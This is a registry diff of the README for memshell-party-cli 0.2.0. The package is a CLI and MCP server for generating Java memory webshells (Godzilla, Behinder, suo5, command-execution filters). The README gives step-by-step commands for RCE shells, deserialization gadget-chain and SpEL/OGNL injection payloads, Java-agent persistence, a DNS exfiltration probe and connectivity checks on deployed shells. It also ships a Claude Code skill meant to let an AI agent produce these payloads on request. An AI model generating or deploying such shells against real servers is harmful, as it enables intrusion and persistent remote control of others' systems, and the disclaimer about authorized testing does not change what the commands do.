memshell-party-cli 0.1.0 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +301 -167
- package/dist/cli.js +750 -6
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +53 -1
- package/dist/index.js +673 -1
- package/dist/index.js.map +1 -1
- package/package.json +49 -48
- package/skills/SKILL.md +186 -0
package/README.md
CHANGED
|
@@ -1,167 +1,301 @@
|
|
|
1
|
-
# memshell-party-cli
|
|
2
|
-
|
|
3
|
-
Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
|
|
4
|
-
memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
|
|
5
|
-
same HTTP API that powers `party.mem.mk/ui`.
|
|
6
|
-
|
|
7
|
-
> ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
|
|
8
|
-
> for how you use it.
|
|
9
|
-
|
|
10
|
-
## Features
|
|
11
|
-
|
|
12
|
-
- **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
|
|
13
|
-
from live, API-driven menus.
|
|
14
|
-
- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
|
|
15
|
-
- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
|
|
16
|
-
- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
|
|
17
|
-
- **
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
memparty config
|
|
85
|
-
memparty config
|
|
86
|
-
memparty config
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
memparty
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
```
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
1
|
+
# memshell-party-cli
|
|
2
|
+
|
|
3
|
+
Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
|
|
4
|
+
memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
|
|
5
|
+
same HTTP API that powers `party.mem.mk/ui`.
|
|
6
|
+
|
|
7
|
+
> ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
|
|
8
|
+
> for how you use it.
|
|
9
|
+
|
|
10
|
+
## Features
|
|
11
|
+
|
|
12
|
+
- **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
|
|
13
|
+
from live, API-driven menus.
|
|
14
|
+
- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
|
|
15
|
+
- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
|
|
16
|
+
- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
|
|
17
|
+
- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
|
|
18
|
+
is alive and the credentials work (echo/handshake round-trip).
|
|
19
|
+
- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
|
|
20
|
+
- **Any backend** — defaults to the public site, override to your self-hosted instance.
|
|
21
|
+
|
|
22
|
+
## Install
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
npm install -g memshell-party-cli
|
|
26
|
+
# or run without installing:
|
|
27
|
+
npx memshell-party-cli gen
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
Requires Node.js >= 18.
|
|
31
|
+
|
|
32
|
+
## Choosing the backend
|
|
33
|
+
|
|
34
|
+
By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
|
|
35
|
+
default `https://party.mem.mk`.
|
|
36
|
+
|
|
37
|
+
Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
memparty --api http://127.0.0.1:8080 gen
|
|
41
|
+
# or
|
|
42
|
+
export MEMPARTY_API_URL=http://127.0.0.1:8080
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
## Usage
|
|
46
|
+
|
|
47
|
+
### Interactive
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
memparty gen # wizard for a memory shell
|
|
51
|
+
memparty probe # wizard for a probe shell
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
The wizard launches automatically when required flags are missing and you're in a terminal.
|
|
55
|
+
Force it anytime with `-i`, or disable it with `--no-interactive`.
|
|
56
|
+
|
|
57
|
+
### Scripted generation
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
# Godzilla listener for Tomcat, single Base64 payload to stdout
|
|
61
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
62
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
63
|
+
|
|
64
|
+
# Write a decoded .class file (base64 decoding is automatic for .class/.jar)
|
|
65
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
66
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
67
|
+
|
|
68
|
+
# Command shell with an explicit encryptor
|
|
69
|
+
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
70
|
+
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
71
|
+
|
|
72
|
+
# Full JSON response (metadata + payload) for further processing
|
|
73
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
`--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
|
|
77
|
+
|
|
78
|
+
Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
|
|
79
|
+
pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
|
|
80
|
+
|
|
81
|
+
### Discovering options
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
memparty config servers # servers and their shell types
|
|
85
|
+
memparty config tools Tomcat # tools + types for one server
|
|
86
|
+
memparty config packers # packer parent/child tree
|
|
87
|
+
memparty config command # Command encryptors & implementation classes
|
|
88
|
+
memparty config servers --json # machine-readable
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### Probe shells
|
|
92
|
+
|
|
93
|
+
```bash
|
|
94
|
+
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
|
|
95
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
Probe method × content matrix (only these combos are supported by the backend):
|
|
99
|
+
|
|
100
|
+
| Method `-m` | Supported content `-c` |
|
|
101
|
+
|-------------|-------------------------|
|
|
102
|
+
| `DNSLog` | `Server`, `JDK` |
|
|
103
|
+
| `Sleep` | `Server` |
|
|
104
|
+
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
|
|
105
|
+
|
|
106
|
+
### Testing a deployed shell
|
|
107
|
+
|
|
108
|
+
`memparty connect` checks whether a shell that is already injected/uploaded actually answers —
|
|
109
|
+
it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
|
|
110
|
+
tunnel handshake) and exits 0 on success, 1 on failure.
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
# Godzilla (defaults: --pass pass --key key)
|
|
114
|
+
memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
|
|
115
|
+
|
|
116
|
+
# Behinder (default: --pass rebeyond)
|
|
117
|
+
memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
|
|
118
|
+
|
|
119
|
+
# suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
|
|
120
|
+
memparty connect -u http://target/suo5.jsp -t suo5
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
Shells generated by MemShellParty are gated by an auth header — the values are in the
|
|
124
|
+
`gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
|
|
125
|
+
(the Suo5v2 shell checks it too):
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
129
|
+
--header-name User-Agent --header-value qSGAJScj
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
|
|
133
|
+
`--json` for machine-readable output, `--timeout <ms>` (global option).
|
|
134
|
+
|
|
135
|
+
## Demos
|
|
136
|
+
|
|
137
|
+
End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
|
|
138
|
+
match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
|
|
139
|
+
the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
|
|
140
|
+
`memparty config packers` first.
|
|
141
|
+
|
|
142
|
+
### 1. Godzilla webshell on Tomcat 9 (javax)
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
# Listener-based Godzilla shell, single base64 payload to stdout
|
|
146
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
147
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
148
|
+
|
|
149
|
+
# ...or write the decoded injector .class straight to disk
|
|
150
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
151
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
|
|
155
|
+
|
|
156
|
+
```bash
|
|
157
|
+
memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
|
|
158
|
+
--godzilla-pass pass --godzilla-key key --jdk java17
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
### 3. Pure command-execution shell (RCE)
|
|
162
|
+
|
|
163
|
+
```bash
|
|
164
|
+
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
165
|
+
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
|
|
169
|
+
|
|
170
|
+
```bash
|
|
171
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
|
|
172
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
173
|
+
# other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
|
|
177
|
+
|
|
178
|
+
```bash
|
|
179
|
+
# Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
|
|
180
|
+
memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
|
|
181
|
+
--command-param-name cmd --jdk java8
|
|
182
|
+
# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
|
|
183
|
+
# (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
### 6. Drop a JSP file
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
|
|
190
|
+
--godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
### 7. Java-agent memory shell (survives redeploys, hooks deep)
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
|
|
197
|
+
--godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### 8. Fingerprint the target first (blind)
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
# DNSLog: confirm code execution + exfil the server/JDK name via DNS
|
|
204
|
+
memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
|
|
205
|
+
# Sleep: time-based blind — delays Ns only if the server matches your guess
|
|
206
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
|
|
210
|
+
|
|
211
|
+
### Parse a class name
|
|
212
|
+
|
|
213
|
+
```bash
|
|
214
|
+
memparty parse-classname --file shell.class
|
|
215
|
+
memparty parse-classname <base64-of-class-bytes>
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
### Version
|
|
219
|
+
|
|
220
|
+
```bash
|
|
221
|
+
memparty version # CLI version + backend server version
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
## MCP server
|
|
225
|
+
|
|
226
|
+
Run the CLI as an MCP server over stdio:
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
memparty mcp --api http://127.0.0.1:8080
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
Example Claude Code / Claude Desktop config:
|
|
233
|
+
|
|
234
|
+
```json
|
|
235
|
+
{
|
|
236
|
+
"mcpServers": {
|
|
237
|
+
"memshell-party": {
|
|
238
|
+
"command": "npx",
|
|
239
|
+
"args": ["-y", "memshell-party-cli", "mcp"],
|
|
240
|
+
"env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
|
|
241
|
+
}
|
|
242
|
+
}
|
|
243
|
+
}
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
|
|
247
|
+
`generate_memshell`, `generate_probe`, `parse_classname`, `server_version`.
|
|
248
|
+
|
|
249
|
+
## AI skill (Claude Code)
|
|
250
|
+
|
|
251
|
+
The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
|
|
252
|
+
`skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
|
|
253
|
+
server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
|
|
254
|
+
guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
|
|
255
|
+
|
|
256
|
+
Install it into a project (or drop it in `~/.claude/skills/` for global use):
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
# from the package root, or after `npm install memshell-party-cli`:
|
|
260
|
+
mkdir -p .claude/skills
|
|
261
|
+
cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
|
|
265
|
+
*"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
|
|
266
|
+
the agent to enumerate options first and pick the right packer for the vector.
|
|
267
|
+
|
|
268
|
+
## Programmatic use
|
|
269
|
+
|
|
270
|
+
The package also ships a typed API client:
|
|
271
|
+
|
|
272
|
+
```ts
|
|
273
|
+
import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
|
|
274
|
+
|
|
275
|
+
const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
|
|
276
|
+
const res = await client.generateMemShell(
|
|
277
|
+
buildMemShellRequest({
|
|
278
|
+
server: "Tomcat",
|
|
279
|
+
shellTool: "Godzilla",
|
|
280
|
+
shellType: "Listener",
|
|
281
|
+
packer: "DefaultBase64",
|
|
282
|
+
godzillaPass: "pass",
|
|
283
|
+
godzillaKey: "key",
|
|
284
|
+
jdk: "java8",
|
|
285
|
+
}),
|
|
286
|
+
);
|
|
287
|
+
console.log(res.memShellResult.shellClassName, res.packResult);
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
## Development
|
|
291
|
+
|
|
292
|
+
```bash
|
|
293
|
+
npm install
|
|
294
|
+
npm run build # tsup -> dist/
|
|
295
|
+
npm test # vitest
|
|
296
|
+
npm run typecheck # tsc --noEmit
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
## License
|
|
300
|
+
|
|
301
|
+
MIT
|